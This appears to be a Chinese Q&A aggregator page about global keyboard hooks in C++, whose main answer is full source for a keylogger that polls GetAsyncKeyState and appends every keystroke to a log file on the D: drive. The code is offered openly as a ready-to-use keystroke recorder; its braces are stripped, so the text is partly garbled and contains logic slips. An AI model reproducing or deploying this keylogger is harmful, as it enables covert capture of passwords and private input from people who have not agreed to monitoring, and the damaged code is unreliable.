C++怎样简单实现全局钩子或者键盘监控

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了C++怎样简单实现全局钩子或者键盘监控相关的知识,希望对你有一定的参考价值。

参考技术A 这是关于键盘钩子的文章,里面有方法,还有源码和程序(文章里的链接: http://www.vckbase.com/document/journal/vckbase11/src/keysound.zip).是用VC编译的.
http://www.vckbase.com/document/viewdoc/?id=271

c++实现键盘记录仪(键盘钩子)

参考技术A 啥都不说,先上源码

#include <windows.h>

#include <Winuser.h>

#include <string>

#include <fstream>

#include <iostream>

using namespace std;

string GetKey(int Key) // 判断键盘按下什么键



string KeyString = "";

//判断符号输入

const int KeyPressMask=0x80000000; //键盘掩码常量

int iShift=GetKeyState(0x10); //判断Shift键状态

bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键

if(Key >=186 && Key <=222)



switch(Key)



case 186:

if(IS)

KeyString = ":";

else

KeyString = ";";

break;

case 187:

if(IS)

KeyString = "+";

else

KeyString = "=";

break;

case 188:

if(IS)

KeyString = "<";

else

KeyString = ",";

break;

case 189:

if(IS)

KeyString = "_";

else

KeyString = "-";

break;

case 190:

if(IS)

KeyString = ">";

else

KeyString = ".";

break;

case 191:

if(IS)

KeyString = "?";

else

KeyString = "/";

break;

case 192:

if(IS)

KeyString = "~";

else

KeyString = "`";

break;

case 219:

if(IS)

KeyString = "";

else

KeyString = "[";

break;

case 220:

if(IS)

KeyString = "|";

else

KeyString = "\\";

break;

case 221:

if(IS)

KeyString = "";

else

KeyString = "]";

break;

case 222:

if(IS)

KeyString = '"';

else

KeyString = "'";

break;





//判断键盘的第一行

if (Key == VK_ESCAPE) // 退出

KeyString = "[Esc]";

else if (Key == VK_F1) // F1至F12

KeyString = "[F1]";

else if (Key == VK_F2)

KeyString = "[F2]";

else if (Key == VK_F3)

KeyString = "[F3]";

else if (Key == VK_F4)

KeyString = "[F4]";

else if (Key == VK_F5)

KeyString = "[F5]";

else if (Key == VK_F6)

KeyString = "[F6]";

else if (Key == VK_F7)

KeyString = "[F7]";

else if (Key == VK_F8)

KeyString = "[F8]";

else if (Key == VK_F9)

KeyString = "[F9]";

else if (Key == VK_F10)

KeyString = "[F10]";

else if (Key == VK_F11)

KeyString = "[F11]";

else if (Key == VK_F12)

KeyString = "[F12]";

else if (Key == VK_SNAPSHOT) // 打印屏幕

KeyString = "[PrScrn]";

else if (Key == VK_SCROLL) // 滚动锁定

KeyString = "[Scroll Lock]";

else if (Key == VK_PAUSE) // 暂停、中断

KeyString = "[Pause]";

else if (Key == VK_CAPITAL) // 大写锁定

KeyString = "[Caps Lock]";

//-------------------------------------//

//控制键

else if (Key == 8) //<- 回格键

KeyString = "[Backspace]";

else if (Key == VK_RETURN) // 回车键、换行

KeyString = "[Enter]\n";

else if (Key == VK_SPACE) // 空格

KeyString = " ";

//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,

//上档键和别的键组合,输出时有字符输出

/*

else if (Key == VK_LSHIFT) // 左侧上档键

KeyString = "[Shift]";

else if (Key == VK_LSHIFT) // 右侧上档键

KeyString = "[SHIFT]";

*/

/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/

else if (Key == VK_TAB) // 制表键

KeyString = "[Tab]";

else if (Key == VK_LCONTROL) // 左控制键

KeyString = "[Ctrl]";

else if (Key == VK_RCONTROL) // 右控制键

KeyString = "[CTRL]";

else if (Key == VK_LMENU) // 左换档键

KeyString = "[Alt]";

else if (Key == VK_LMENU) // 右换档键

KeyString = "[ALT]";

else if (Key == VK_LWIN) // 右 WINDOWS 键

KeyString = "[Win]";

else if (Key == VK_RWIN) // 右 WINDOWS 键

KeyString = "[WIN]";

else if (Key == VK_APPS) // 键盘上 右键

KeyString = "右键";

else if (Key == VK_INSERT) // 插入

KeyString = "[Insert]";

else if (Key == VK_DELETE) // 删除

KeyString = "[Delete]";

else if (Key == VK_HOME) // 起始

KeyString = "[Home]";

else if (Key == VK_END) // 结束

KeyString = "[End]";

else if (Key == VK_PRIOR) // 上一页

KeyString = "[PgUp]";

else if (Key == VK_NEXT) // 下一页

KeyString = "[PgDown]";

// 不常用的几个键:一般键盘没有

else if (Key == VK_CANCEL) // Cancel

KeyString = "[Cancel]";

else if (Key == VK_CLEAR) // Clear

KeyString = "[Clear]";

else if (Key == VK_SELECT) //Select

KeyString = "[Select]";

else if (Key == VK_PRINT) //Print

KeyString = "[Print]";

else if (Key == VK_EXECUTE) //Execute

KeyString = "[Execute]";

//----------------------------------------//

else if (Key == VK_LEFT) //上、下、左、右键

KeyString = "[←]";

else if (Key == VK_RIGHT)

KeyString = "[→]";

else if (Key == VK_UP)

KeyString = "[↑]";

else if (Key == VK_DOWN)

KeyString = "[↓]";

else if (Key == VK_NUMLOCK)//小键盘数码锁定

KeyString = "[NumLock]";

else if (Key == VK_ADD) // 加、减、乘、除

KeyString = "+";

else if (Key == VK_SUBTRACT)

KeyString = "-";

else if (Key == VK_MULTIPLY)

KeyString = "*";

else if (Key == VK_DIVIDE)

KeyString = "/";

else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .

KeyString = ".";

//小键盘数字键:0-9

else if (Key == VK_NUMPAD0)

KeyString = "0";

else if (Key == VK_NUMPAD1)

KeyString = "1";

else if (Key == VK_NUMPAD2)

KeyString = "2";

else if (Key == VK_NUMPAD3)

KeyString = "3";

else if (Key == VK_NUMPAD4)

KeyString = "4";

else if (Key == VK_NUMPAD5)

KeyString = "5";

else if (Key == VK_NUMPAD6)

KeyString = "6";

else if (Key == VK_NUMPAD7)

KeyString = "7";

else if (Key == VK_NUMPAD8)

KeyString = "8";

else if (Key == VK_NUMPAD9)

KeyString = "9";

//-------------------------------------------//

//-------------------------------------------//

//*对字母的大小写进行判断*//

else if (Key >=97 && Key <= 122) // 字母:a-z



if (GetKeyState(VK_CAPITAL)) // 大写锁定



if(IS) //Shift按下:为小写字母

KeyString = Key;

else // 只有大写锁定:输出大写字母

KeyString = Key - 32;



else// 大写没有锁定



if(IS) // 按下Shift键: 大写字母

KeyString = Key - 32;

else // 没有按Shift键: 小写字母

KeyString = Key;





else if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号



if(IS)



switch(Key)



case 48: //0

KeyString = ")";

break;

case 49://1

KeyString = "!";

break;

case 50://2

KeyString = "@";

break;

case 51://3

KeyString = "#";

break;

case 52://4

KeyString = "$";

break;

case 53://5

KeyString = "%";

break;

case 54://6

KeyString = "^";

break;

case 55://7

KeyString = "&";

break;

case 56://8

KeyString = "*";

break;

case 57://9

KeyString = "(";

break;





else

KeyString = Key;



if (Key != VK_LBUTTON || Key != VK_RBUTTON)



if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z



if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z



if(IS) // 大写锁定,并且按下上档键:输出为小写字母

KeyString = Key + 32;

else //只有大写锁定:输出为大写字母

KeyString = Key;



else // 大写没有锁定:a-z



if(IS)



KeyString = Key;



else



Key = Key + 32;

KeyString = Key;









return KeyString;



int  main()



string Filename = "D:\\log.txt";//倒出记录文本存在D盘log.txt目录下

string TempString = "";

fstream FStream;

cout<<"现在开始键盘记录";

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

while(true)



Sleep(5);

for(int i = 8; i <=255; i++)



if(GetAsyncKeyState(i)&1 ==1)



TempString = GetKey (i);

FStream.write(TempString.c_str(), TempString.size());

FStream.close();

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);







以上是关于C++怎样简单实现全局钩子或者键盘监控的主要内容,如果未能解决你的问题,请参考以下文章

C++ 键盘钩子

想用VC++做个全局键盘改键,键盘钩子代码,详细怎么做。跪求代码。

WPF 利用键盘钩子来捕获键盘,做一些不为人知的事情...完整实例

delphi 键盘全局钩子

在WPF中快速实现键盘钩子

全局键盘钩子